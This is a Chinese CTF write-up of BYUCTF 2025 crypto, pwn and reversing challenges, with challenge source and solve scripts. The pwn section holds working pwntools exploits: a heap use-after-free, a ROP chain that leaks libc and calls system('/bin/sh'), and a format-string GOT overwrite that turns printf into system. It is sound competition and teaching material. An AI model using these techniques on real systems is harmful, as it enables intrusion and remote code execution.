当前位置: 首页 > news >正文

BYUCTF 2025

几周没会的比赛了,都是一题游。这周的BYU还不错,难度适中,只是时间有点短。周末时间不够。

Crypto

Many Primes

from Crypto.Util.number import bytes_to_long, getPrime
import randomflag = open("flag.txt").read().encode()
flag = bytes_to_long(flag)
n = 1
while n.bit_length()<4096:i = random.randint(10,16)reps = random.randint(2,5)p = getPrime(i)if n%p !=0:n*=p**reps
e = 65537
encryptedFlag = pow(flag, e, n)print(f"n = {n}")
print(f"e = {e}")
print(f"flag = {encryptedFlag}")

很显然这个n是由一系列小素数组成的可以很容易分解。

n = 84957339878841249042661992015318775914153057891067549723671982778975957526984361748735670333426792012519248099265537115315835602057882318543112781196438953840653279029957533208045448649312183873062132255928109150470090982541502003013666939934181416473581073990221728448342533549843710383544743220364127453679761909368982493089369740815066106196444062558446312836612656666434089655206650558129894180991572670565328419648196602807190683488653617068325238542193033423978598565191919683033996144778397817249870630736098769732268174866389943010980427234356604782502318622853423388492983406635687647680770869588481426436811952986075832678887752706507835771052708232550208582584262345437818916577580806059662945066377375408508814381061305598911972399165132279018674832071994673661875185328115121586302490349253912699566783660070599552395205352917554104371784905394477629626963439266490743240318198729049054547013391348516066097465180775402810975266096525722415778248668765855332776864126033830969325570615444114396786906102536716873598804164196155179833683285635189223166238933318740720918827120989416013091102543382987278707392961157272937695585450287755023671116911370689655292160336521776501052329465384315585357461493649222793172462113102463
e = 65537
flag = 45146787828557679140423580221442956925310977371109091853462843177826294442352634580160310989152235297235514141658881390908592470683795245870619319983451904537192781823855678086088663405872526980084960008183831288044960349605168173490367894375757787452024287989993362954206286853190401541606518731317814018817491109177360761859453002792899864984488524864028766239497641048919565458281765487932324396702580026094746189401141448947513512730220423629277692258527951902039531739842965067285622196418171785466236294324572986853688947727117303227689578683403160426800470263102483582737614730930657875098843867256713854784720793138228809768453579721222271047690131897888999884098995408016105397663714102200568327066068146128637742779637777800612639149916508879936573438036837445673606364763612971401591822166427703422764153960398983100036398400304771376839125152709954274549463602659761299411215766075895177151923436509501196662786766042103493713861194722614436307437016043581292216432028543923347478884441934980948114759937955940408027377458938151172837554432746134399838012547867483350557859826433321810794053681726512471838143910118068486851496148663526948219071671481909824342580081675074372829356225227848676981201731545407466857723499918017from Crypto.Util.number import *ps = factor(n)
phi=1
for v in ps:phi *= v[0]^(v[1]-1)*(v[0]-1)d = inverse_mod(e,phi)
m = pow(flag,d,n)
long_to_bytes(int(m))
#byuctf{3ulers_ph1_function_15_v3ry_us3ful_4nd_th15_I5_a_l0ng_fl4g}

PEM

$flag \in \sqrt N$

给了一个公钥,提示显然flag=m^2

long_to_bytes(isqrt(n))
#b'fjagkdflgfkdsjgfdltyugvjcbghjqfsdjvfdhbjfd byuctf{P3M_f0rm4t_1s_k1ng} cmxvblalsfiuqeuipplvdldbnmjzxydhjgfdgppsksjq'

 Real Smooth

#!/usr/local/bin/pythonfrom Crypto.Cipher import ChaCha20
from Crypto.Random import get_random_bytes
from secrets import FLAGkey = get_random_bytes(32)
nonce = get_random_bytes(8)cipher = ChaCha20.new(key=key, nonce=nonce)
print(bytes.hex(cipher.encrypt(b'Slide to the left')))
print(bytes.hex(cipher.encrypt(b'Slide to the right')))try:user_in = input().rstrip('\n')cipher = ChaCha20.new(key=key, nonce=nonce)decrypted = cipher.decrypt(bytes.fromhex(user_in))if decrypted == b'Criss cross, criss cross':print("Cha cha real smooth")print(FLAG)else:print("Those aren't the words!")
except Exception as e:print("Those aren't the words!")

给了用同样key加密的两段明文(对于chacha20加密来说,这两段可以看成连在一起的一段),要求给出一个密文解密与指定明文相同。chacha20其实就是生成个加密流,然后与明文异或得到密文。所以拿密文与明文1明文2异或就行。

from pwn import *
context.log_level = 'debug'p = remote('smooth.chal.cyberjousting.com', 1350)v = b'Slide to the left' + b'Slide to the right'
c = bytes.fromhex(p.recvline().strip().decode()) + bytes.fromhex(p.recvline().strip().decode())s = xor(v,c)v = b'Criss cross, criss cross'
c = xor(v,s[:len(v)])
p.sendline(c.hex())p.interactive()
#byuctf{ch4ch4_sl1d3?...n0,ch4ch4_b1tfl1p}

Cycles

from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad# Can you undo this?
from hidden import p,N,a,flag,g# these are for you :)
assert isPrime(p)
assert len(bin(a)) < 1050hint = pow(g, a, p)
key = long_to_bytes(a)[:16]cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))# Now for your hints
print(f"g = {g}")
print(f"P = {p}")
print(f"ciphertext = {ct}")
print(f"Hint = {hint}")  #a=p-1

这题其实就是求a,给的提示是g^a=1 mod p 根据费小这个a应该是p-1但试了一下不对,再根据a小于1050位,猜a = k*(p-1)爆破一下

from tqdm import trange 
for i in trange(1,1<<26):a = (P-1)*icipher = AES.new(long_to_bytes(a)[:16], AES.MODE_ECB)m = cipher.decrypt(ciphertext)if b'byu' in m:print(m)#byuctf{1t_4lw4ys_c0m3s_b4ck_t0_1_21bcd6}

Choose Your RSA

#!/usr/local/bin/pythonfrom Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long, getPrime
from Crypto.Util.Padding import pad
import osprint("[+] Generating values...", flush=True)
flag = open("/app/flag.txt").read().encode()
key = os.urandom(160)
p, q, n, e = [], [], [], []
for i in range(3):p.append(getPrime(1024+512*i))q.append(getPrime(1024+512*i))n.append(p[i]*q[i])cipher = AES.new(key[:16], AES.MODE_ECB)
print(cipher.encrypt(pad(flag, AES.block_size)).hex())
print("We will encrypt the key three times, and you can even choose the value of e. Please put your distinct e values in increasing order.")try:e = list(map(int, input().split(" ")))assert e[0]>1assert e[1]>e[0]assert e[2]>e[1]
except Exception as e:print("sorry, invalid input")quit()key = bytes_to_long(key)
for i in range(3):print(f"n{i}=",n[i], sep="")print(f"c{i}=", pow(key, e[i], n[i]), sep="")

这里要求输入3个e, 1<e0<e1<e2,这里的key是160*8位,n分别是2048+1024*e位,如果输入2则正好m^2比n大,第1个想到的就是CRT,输入2,4,8结果3个n的位置其实还是不如m^8大。然后用2,3,6成功。不过看了官方WP,其实只用2,4就可以m^4=5120位正好与两个n的和相等。

Hash Based Cryptography

#!/usr/local/bin/pythonimport hashlib
from secrets import KEY, FLAGdef gen_otp(key: bytes, message: bytes) -> bytes:iv = keyotp = b''for _ in range(len(message)//20):iv = hashlib.sha1(iv).digest()otp += ivreturn otpdef pad(message):if type(message) is str:message = message.encode()return message + bytes([(20 - len(message)) % 20]) * ((20 - len(message)) % 20)def unpad(message):if message[-1] > 20 or message[-1] != message[-message[-1]]:print("Padding error")raise ValueError("Invalid padding")return message[:-message[-1]]def encrypt(key, message) -> str:if type(key) is str:key = key.encode()return bytes([a^b for a, b in zip(pad(message), gen_otp(key, pad(message)))]).hex()def decrypt(key, message) -> str:if type(key) is str:key = key.encode()try:message = bytes.fromhex(message)return unpad(bytes([a^b for a, b in zip(message, gen_otp(key, pad(message)))])).decode(errors='ignore')except Exception as e:return f"Error decrypting"def test():print(encrypt("key", "hello world"))print(decrypt("key", "ce4a4e49d050c8c3b9ab95e62330713f787a7ed7"))def main():print("I just created this encryption system. I think it's pretty cool")print("Here's the encrypted flag:")print(encrypt(KEY, FLAG))print("Here, you can try it out, too:")while True:user_input = input(" > ")decrypted = decrypt(KEY, user_input)if FLAG in decrypted or "byuctf" in decrypted:print("I didn't make it that easy")continueprint(decrypted.encode())if __name__ == "__main__":main()

这个加密其实就是用key异或,然后提供解密,但要求不能与flag相同也不能用byuctf所以改第1个字符就OK了

└─$ nc hash.chal.cyberjousting.com 1351                                             
I just created this encryption system. I think it's pretty cool
Here's the encrypted flag:
36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf5606981
Here, you can try it out, too:> 36622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
I didn't make it that easy> 37622b59070227bd8f106c96b0333814c5d712ef306284b32a075ad1d635963255fe630cf56069fd
b'cyuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3'
#byuctf{my_k3y_4nd_m3ss4g3_w3r3_th3_s4m3}

Anaken21sec1/2

这俩题加密是一样的,只是第1题给了key要求解密,第2题要求求key再解密,所以放一起了。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def encrypt(plaintext, key):plaintext += "x"*((12-len(plaintext)%12)%12)blocks = [plaintext[12*i:12*(i+1)] for i in range(0,len(plaintext)//12)]keyNums = [ord(key[i])-97 for i in range(len(key))]resultLetters = ""#do the block permutations and additionsfor block in blocks:#make 6 by 6 matrixblockM =np.zeros((6,6))for (i,letter) in enumerate(block[0:6]):letterNum = ord(letter)-96blockM[0,i] = letterNum//9blockM[1,i] = (letterNum%9)//3blockM[2,i] = letterNum%3for (i,letter) in enumerate(block[6:]):letterNum = ord(letter)-96blockM[3,i] = letterNum//9blockM[4,i] = (letterNum%9)//3blockM[5,i] = letterNum%3#scramble matrixfor keyNum in keyNums:blockM = permute(blockM,(keyNum//5)%5)blockM = add(blockM, keyNum%5)#get resulting letters from matrixfor i in range(6):resultLetterNum = int(9*blockM[i,0]+3*blockM[i,1]+blockM[i,2])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)for i in range(6):resultLetterNum = int(9*blockM[i,3]+3*blockM[i,4]+blockM[i,5])if resultLetterNum == 0:resultLetters += "0"else:resultLetters += chr(resultLetterNum+96)#rearrange ciphertext according to the keyreducedKeyNums = [][reducedKeyNums.append(x) for x in keyNums if x not in reducedKeyNums]letterBoxes = [[] for i in reducedKeyNums]finalEncryptedText = ""for i in range(len(resultLetters)):letterBoxes[i%len(reducedKeyNums)].append(resultLetters[i])for i in range(len(reducedKeyNums)):nextLowest = reducedKeyNums.index(min(reducedKeyNums))reducedKeyNums[nextLowest] = 27for letter in letterBoxes[nextLowest]:finalEncryptedText+=letterreturn(finalEncryptedText)if __name__ == "__main__":plaintext =  input("What would you like to encrypt?\n")plaintextList = [letter.lower() for letter in plaintext if letter.isalpha()]plaintext = ""for letter in plaintextList:plaintext += letterkey = input("Enter the encryption key. Leave blank to randomly generate.\n")if key == "":key = getRandomKey()print(f"Your key is: {key}")print(encrypt(plaintext, key))

加密过程是这样的:

1,把明文pad成12的整数倍。明文只能是a-z的小写字母。

2,把明文每12字节一块加密

        1,把12个字符分两组,第1组按字母序号+1的3进制放到6*6矩阵的前3行每列对应1个字符,第2组同样的方法放后3行。

        2,依将按11位key的序号对矩阵作sbox和add操作,而key的值用来表示操作的矩阵和add的位置。

        3,将上步结果,前3列和后3列分别看成3进制得到对应的字符(0abc...)

3,所有块连接到一起后用栅栏的方法分成11组,用key的值从小到大将这些组重组成密文。

求key

在没有key的情况,首先就是求key.这里允许20次交互。

1,在加密的第3步是按照key的大小重组,所以这里先加密10个块,然后再生成一个10个块连在一起的,这样就得到10组未组合的密文和这10组密文组合后的密文。这里用10组是因为key的长度是因为每个块12字符,10*12=120与11块密文重组的11*11只差1个,把10*12个密文分11组,有10个组会有1个块是两个字符其它都是1个字符。

单独密文 'splfzkkrwdgx', 'apmgziosweas', 'phkbojvbuldw', 'yhi0okt0umgx', 'ghjaoixaunas', 'mxqegjdkvudw', 'vxocgkbivvgx', 'dxpdgifjvwas', 'jteh0svbhcmw', 'stcf0tt0hdpx'
组合密文 'sasjuaegfetpepgxivid0tlplyasjvjh0fzvihuvasshzokhnmgxih0kwb0odoxcskmhmgdwkvbfrgotjxvdmwtwsboxqxwjpxdadwkukcgvcgxiu0agbptd'

将全部密文按大概10-11一段切开换行,并且每段首字符为第1个单独密文的1个字符(其中有一个是前两个字符),例子中开头分别是s p l ... gx (这里恰巧gx赶在最后,不一定每回都是最后)

'''
#从第2列开始虽然还是那些字符,但顺序并不相同
s  as j  u  a  e  g  f  e  t
p  e  p  gx i  v  i  d  0  t
l  p  l  y  as j  v  j  h  0
f  z  v  i  h  u  v  as s  h
z  o  k  h  n  m  gx i  h  0
k  w  b  0  o  d  o  x  c  s
k  m  h  m  g  dw k  v  b  f
r  g  o  t  j  x  v  d  mw t
w  s  b  o  x  q  x  w  j  px
d  a  dw k  u  k  c  g  v  c
gx i  u  0  a  g  b  p  t  d#当确定第1组的双字符是gx时,所有密文的双字符位置是相同的
splfzkkrwd gx
apmgzioswe as
phkbojvbul dw
yhi0okt0um gx
ghjaoixaun as
mxqegjdkvu dw
vxocgkbivv gx
dxpdgifjvw as
jteh0svbhc mw
stcf0tt0hd px
'''

然后按列将双字符出现的位置记录下来:11,1,10,2,3,7,5,4,8,9,6 最后一个6是这些位置与未出现的一个这里只能得到10个位置,最后一个就是未出现的

这里的1-11是表示key的大小顺序,并不是key的值。

爆破key

由于已经得到key里字符的位置,这里爆破11个字符时就不用爆破所以排列而是得到C25,11的组合就行,再得到上步得到的顺序排成key即可,并通过encrypt来验证。这题实际爆破了5分钟,并不算长。估计最长会30分钟。

import encryptcipher ='uoan0zhemdqv0fmaqcmbkxxotmzswjyavoox'
order = [11,1,10,2,3,7,5,4,8,9,6]
#取第1组密文爆破
m1 = 'a'*12
c1 = 'splfzkkrwdgx'import itertools
from math import comb
import tqdmdef attack(v):tkey = ''.join([v[order[i]-1] for i in range(11)])if encrypt.encrypt('a'*12,tkey) == 'splfzkkrwdgx':print('key=', tkey)return Truetab = [chr(97+i) for i in range(25)]for v in tqdm.tqdm(itertools.combinations(tab, 11), total=comb(25,11)):if attack(v):break

解密

1,先把组合后的密文恢复成12字节的块,原题的命令太恶心了,越看越乱。

def dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1]  #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3

再对每个块解密,3进制放入矩阵,add的逆向,sbox逆向。

import numpy as np
from random import choiceA = np.array([[1, 7, 13, 19, 25, 31],[2, 8, 14, 20, 26, 32],[3, 9, 15, 21, 27, 33],[4, 10, 16, 22, 28, 34],[5, 11, 17, 23, 29, 35],[6, 12, 18, 24, 30, 36]])
B = np.array([[36, 30, 24, 18, 12, 6],[35, 29, 23, 17, 11, 5],[34, 28, 22, 16, 10, 4],[33, 27, 21, 15, 9, 3],[32, 26, 20, 14, 8, 2],[31, 25, 19, 13, 7, 1]])
C = np.array([[31, 25, 19, 13, 7, 1],[32, 26, 20, 14, 8, 2],[33, 27, 21, 15, 9, 3],[34, 28, 22, 16, 10, 4],[35, 29, 23, 17, 11, 5],[36, 30, 24, 18, 12, 6]])
D = np.array([[7, 1, 9, 3, 11, 5],[8, 2, 10, 4, 12, 6],[19, 13, 21, 15, 23, 17],[20, 14, 22, 16, 24, 18],[31, 25, 33, 27, 35, 29],[32, 26, 34, 28, 36, 30]])
E = np.array([[2, 3, 9, 5, 6, 12],[1, 11, 15, 4, 29, 18],[7, 13, 14, 10, 16, 17],[20, 21, 27, 23, 24, 30],[19, 8, 33, 22, 26, 36],[25, 31, 32, 28, 34, 35]])
permutes = [A, B, C, D, E]def getRandomKey():letters = "abcdefghijklmnopqrstuvwxy"key = choice(letters)for i in range(1,11):oldletter = key[i-1]newletter = choice(letters)oldletterNum = ord(oldletter)-97newletterNum = ord(newletter)-97while (newletterNum//5 == oldletterNum//5 or newletterNum%5 == oldletterNum % 5) or newletter in key:newletter = choice(letters)newletterNum = ord(newletter)-97key+=newletterreturn keydef permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[i,j] = blockM[index//6, index%6]return finalBlockMdef add(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] +=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]+blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[3:,3:]+blockM[:3,:3]elif count == 3:blockM[3:,:3] = blockM[3:,:3]+blockM[:3,3:]else:blockM[:3,3:] = blockM[3:,:3]+blockM[:3,3:]return np.mod(blockM, 3)def sub(blockM, count):if count == 0:for i in range(6):for j in range(6):if (i+j)%2 == 0:blockM[i,j] -=1elif count == 1:blockM[3:,3:] = blockM[3:,3:]-blockM[:3,:3]elif count == 2:blockM[:3,:3] = blockM[:3,:3]-blockM[3:,3:]elif count == 3:blockM[3:,:3] = blockM[3:,:3]-blockM[:3,3:]else:blockM[:3,3:] = blockM[:3,3:]-blockM[3:,:3]return np.mod(blockM, 3)def r_permute(blockM, count):finalBlockM = np.zeros((6,6))for i in range(6):for j in range(6):index = int(permutes[count][i,j]-1)finalBlockM[index//6, index%6] = blockM[i,j]return finalBlockMdef dec1(c,key):#切开#1,恢复顺序#恢复顺序clen = len(c)nkey = [ord(i)-97 for i in key]vv = sorted(nkey)#print(nkey,vv)letterBoxes = ['']*11#按key大小顺序组合bsize = clen//11rr = clen - bsize*11   #<rr的取bsize+1字符,其它取bsize个f = vv[rr-1]  #<=f 则每块bsize+1#print(bsize,rr,f)rc = [0]*11for i in vv:if nkey.index(i) < rr:rc[nkey.index(i)] = c[:bsize+1]c = c[bsize+1:]else:rc[nkey.index(i)] = c[:bsize]c = c[bsize:]print(rc)rc2 = ''for i in range(bsize+1):for j in range(11):if rc[j] == '': continuerc2+=rc[j][:1]rc[j]=rc[j][1:]rc3 = [rc2[i:i+12] for i in range(0,clen,12)]#print(rc,rc2,rc3)return rc3def dec_block(block,key):keyNums = [ord(i)-97 for i in key]#make 6 by 6 matrixblockM =np.zeros((6,6))for i in range(6):if block[i] == '0':r = 0else:r = ord(block[i])-96blockM[i,0] = r//9 blockM[i,1] = r%9//3blockM[i,2] = r%3for i in range(6):if block[6+i] == '0':r = 0else:r = ord(block[6+i])-96blockM[i,3] = r//9 blockM[i,4] = r%9//3blockM[i,5] = r%3#print(blockM)#scramble matrixfor keyNum in keyNums[::-1]:blockM = sub(blockM, keyNum%5)blockM = r_permute(blockM,(keyNum//5)%5)#print(blockM)b = ''for i in range(6):v = blockM[0,i]*9 + blockM[1,i]*3+ blockM[2,i]b += chr(int(v)+96)for i in range(6):v = blockM[3,i]*9 + blockM[4,i]*3+ blockM[5,i]b += chr(int(v)+96)return bdef decrypt(c,key):return ''.join([dec_block(i,key) for i in dec1(c,key)])

PWN

Minecraft YouTuber

程序快200行了,主题就是由于user_t和nametag_t两个结构大小相同,先在注册个用户,然后修改last再注销后再注册利用那个残留1337就给flag

#include <stdlib.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>__attribute__((constructor)) void flush_buf() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);
}typedef struct {long uid;char username[8];long keycard;
} user_t;typedef struct {long mfg_date;char first[8];char last[8];
} nametag_t;long UID = 0x1;
char filename[] = "flag.txt";
user_t* curr_user = NULL;
nametag_t* curr_nametag = NULL;void init() {setvbuf(stdout, NULL, _IONBF, 0);setvbuf(stdin, NULL, _IONBF, 0);
}void register_user() {printf("WELCOME!! We're so excited to have you here! Tell us your username / tag and we'll get you set up with access to the facilities!\n");curr_user = (user_t*)malloc(sizeof(user_t));curr_user->uid = UID++;printf("Please go ahead an type your username now: \n");read(0, curr_user->username, 8);
}void log_out() {free(curr_user);curr_user = NULL;if (curr_nametag != NULL) {free(curr_nametag);curr_nametag = NULL;}
}int print_menu() {int choice;printf("What would you like to do now?\n");printf("1. Register a new user\n");printf("2. Learn about the Time Keepers\n");printf("3. Collect gear\n");printf("4. Elevate to super user\n");printf("5. Change characters\n");printf("6. Leave\n");// 7 is try to free loki but it's not technically an option, you have to be rebellious to get therescanf("%d", &choice);if (choice < 1 || choice > 7) {printf("Invalid choice. You broke the simulation\n");return 0;}return choice;
}int main(void) {init();srand(time(NULL)); int gear;printf("Hello! My name is Miss Minutes, and I'll be your helper here at the TVA!!\nHow about we get you oriented first!\nThe only rule is that we under no circumstances can free Loki... he's locked up for a reason!\n");int input = 1;while (input) {switch (input) {case 1: // register a new userregister_user();break;case 2:printf("The Time Keepers are the three beings who created the TVA and the Sacred Timeline. They are powerful beings who exist at the end of time and are responsible for maintaining the flow of time.\n");break;case 3: // collect gearif (curr_user == NULL) {printf("You must register a user first!\n");break;}gear = rand() % 5 + 1;if (curr_nametag != NULL) {free(curr_nametag);}switch (gear) {case 1:printf("You have received a Time Twister! This powerful device allows you to manipulate time and space.\n");break;case 2:printf("You have received a Name Tag! Please input your first and last name:\n");curr_nametag = (nametag_t*)malloc(sizeof(nametag_t));curr_nametag->mfg_date = (long)time(NULL);read(0, curr_nametag->first, 8);read(0, curr_nametag->last, 8);break;case 3:printf("You have received a Time Stick! This device allows you to reset the flow of time in a specific area.\n");break;case 4:printf("You have received a Time Loop! This device allows you to trap someone in a time loop.\n");break;case 5:printf("You have received a Time Bomb! This device allows you to create a temporal explosion.\n");break;}break;case 4:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->uid >= 0x600000) {printf("Well, everything here checks out! Go ahead and take this key card!\n");curr_user->keycard = 0x1337;} else {printf("Unfortunately, it doesn't look like you have all the qualifications to get your own key card! Stay close to Miss Minutes and she should be able to get you anywhere you need to go...\n");}break;case 5:if (curr_user == NULL) {printf("You must register a user first!\n");break;}log_out();printf("You have been logged out.\n");printf(". "); sleep(1);printf(". "); sleep(1);printf(". \n"); sleep(1);register_user();break;case 6:input = 0;break;case 7:if (curr_user == NULL) {printf("You must register a user first!\n");break;}if (curr_user->keycard == 0x1337) {printf("You have freed Loki! In gratitude, he offers you a flag!\n");FILE* flag = fopen(filename, "r");if (flag == NULL) {printf("Flag file not found. Please contact an admin.\n");return EXIT_FAILURE;} else {char ch;while ((ch = fgetc(flag)) != EOF) {printf("%c", ch);}}fclose(flag);exit(0);break;} else {printf("EMERGENCY EMERGENCY UNAUTHORIZED USER HAS TRIED TO FREE LOKI!\n");printf("Time police rush to the room where you stand in shock. They rush you away, take your gear, and kick you back to your own timeline.\n");log_out();input = 0;break;}}if (input != 0) {input = print_menu();}}return input;
}
from pwn import *
context(arch='amd64', log_level='debug')p = remote('minecraft.chal.cyberjousting.com', 1354)p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))
while True:p.sendlineafter(b"6. Leave\n", b'3')v = p.recvline()if v == b"You have received a Name Tag! Please input your first and last name:\n":p.send(p64(0x1337)*2)breakp.sendlineafter(b"6. Leave\n", b'5')
p.sendafter(b"Please go ahead an type your username now: \n", p64(0x1337))p.sendlineafter(b"6. Leave\n", b'7')p.interactive()
#byuctf{th3_3xpl01t_n4m3_1s_l1t3r4lly_gr00m1ng}

Game of Yap

game调用play,这里有个溢出。

int game()
{play();return puts("You can't yap!");
}ssize_t play()
{char buf[256]; // [rsp+0h] [rbp-100h] BYREFreturn read(0, buf, 0x256uLL);
}

有溢出但是没有相应的gadget所以这里需要用几个gadget绕一下

0x1266  puts 这里返回时rsi寄存器会被置成libc的地址

0x128a  printf(%p,) 利用rsi残留的值泄露libc

第1步利用第1个game的溢出覆盖返回地址尾字节跳到yap(去掉push rbp)泄露加载地址

第2步利用上边两个gadget先用1266填充rsi再用128a得到libc然后调用main重入

第3步sysem

from pwn import *
context(arch='amd64', log_level='debug')elf = ELF('./game-of-yap')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./game-of-yap')
p = remote('yap.chal.cyberjousting.com', 1355)p.sendafter(b"Here's your first chance...\n", b'\0'*0x108+p8(0x7d))elf.address = int(p.recvline(),16) - 0x1210
print(f"{elf.address = :x}")#gdb.attach(p, "b*0x555555555239\nc")p.sendafter(b"One more try...\n", b'\0'*0x108+flat(elf.address+0x1266, 0, elf.address+0x128a,0, elf.address+0x1254))
p.recvuntil(b"You can't yap!\n")libc.address = int(p.recvline(), 16) - 0x204643
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
p.send(b'\0'*0x108 + flat(pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']))
p.interactive()

Goat

这是个格式化字符串的题,有3个小点

1是有前异输出24字节,所以每次输出需要减掉这个数

2是字节数比较少每次只能改一点,而且地址需要预存

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v4[2]; // [rsp+0h] [rbp-C0h] BYREFchar s1[64]; // [rsp+10h] [rbp-B0h] BYREFchar s[104]; // [rsp+50h] [rbp-70h] BYREFunsigned __int64 v7; // [rsp+B8h] [rbp-8h]v7 = __readfsqword(0x28u);v4[0] = 'TAOG';v4[1] = 0LL;snprintf(s,0x5FuLL,"Welcome to the %s simulator!\nLet's see if you're the %s...\nWhat's your name? ",(const char *)v4,(const char *)v4);printf(s);fgets(s1, 32, stdin);snprintf(s, 0x5FuLL, "Are you sure? You said:\n%s\n", s1);printf(s);fgets(s1, 16, stdin);if ( !strncmp(s1, "no", 2uLL) ){puts("\n?? Why would you lie to me about something so stupid?");}else{snprintf(s1, 0x3FuLL, "\nSorry, you're not the %s...", (const char *)v4);puts(s1);}return 0;
}

这里通过修改got表,改变程序流程,先是把strncmp 改成main实现循环。

因为改成main后每次栈都会抬高,而输入长度限制没法一次写两个地址(需要改3字节,一次改4字节字符数太大了),所以先执行两次把got.printf的地址留在栈里,最后一次把printf改为system,然后输入带;/bin/sh的值执行shell

from pwn import *
import os
context(arch='amd64', log_level='debug')elf = ELF('./goat')
libc = ELF('/home/kali/glibc/libs/2.39-0ubuntu8.1_amd64/libc.so.6')#p = process('./goat')
p = remote('goat.chal.cyberjousting.com', 1349)#pow
p.recvline()
v = p.recvline().decode().strip()
print(v)
a = os.popen(v)
p.send(a.read().encode())'''
18:00c0│ rbp 0x7fffffffdb50 —▸ 0x7fffffffdbf0 —▸ 0x7fffffffdc50 ◂— 0
19:00c8│+008 0x7fffffffdb58 —▸ 0x7ffff7c2a1ca ◂— mov edi, eax
'''#strncmp->main
p.sendafter(b"name? ", f'%{0x11f0-24}c%11$hn%30$p %31$p '.encode().ljust(0x18,b'\0')+p64(0x404000))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xa0
libc.address = int(p.recvuntil(b' '), 16) - 0x2a1ca
print(f"{stack = :x} {libc.address = :x}")
p.sendline()
p.sendlineafter(b"name? ",b'')p.send(flat(0,elf.got['printf']))
p.sendlineafter(b"name? ",b'')
p.send(flat(0,elf.got['printf']+1))
p.sendlineafter(b"name? ",b'')
p.sendline(b'')#gdb.attach(p, "b*0x4012b0\nc")
#printf->system
system = p64(libc.sym['system'])
v1 = system[0]
v2 = u16(system[1:3])
p.sendlineafter(b"name? ", f'%{v1-24}c%87$hhn%{(v2-v1)&0xffff}c%61$hn'.encode())p.sendline(b';/bin/sh\0')p.interactive()

*MIPS

这种不大关心,为啥弄这么小众的题又都是入门

*TCL

还以为主办方给谁作广告呢。

看了WP拿来也没弄成。https://github.com/BYU-CSA/BYUCTF-2025/blob/main/

REV

LLIR

非常长,基本上就是v[33]=v[32]+1这种判断,写成不好认的语言

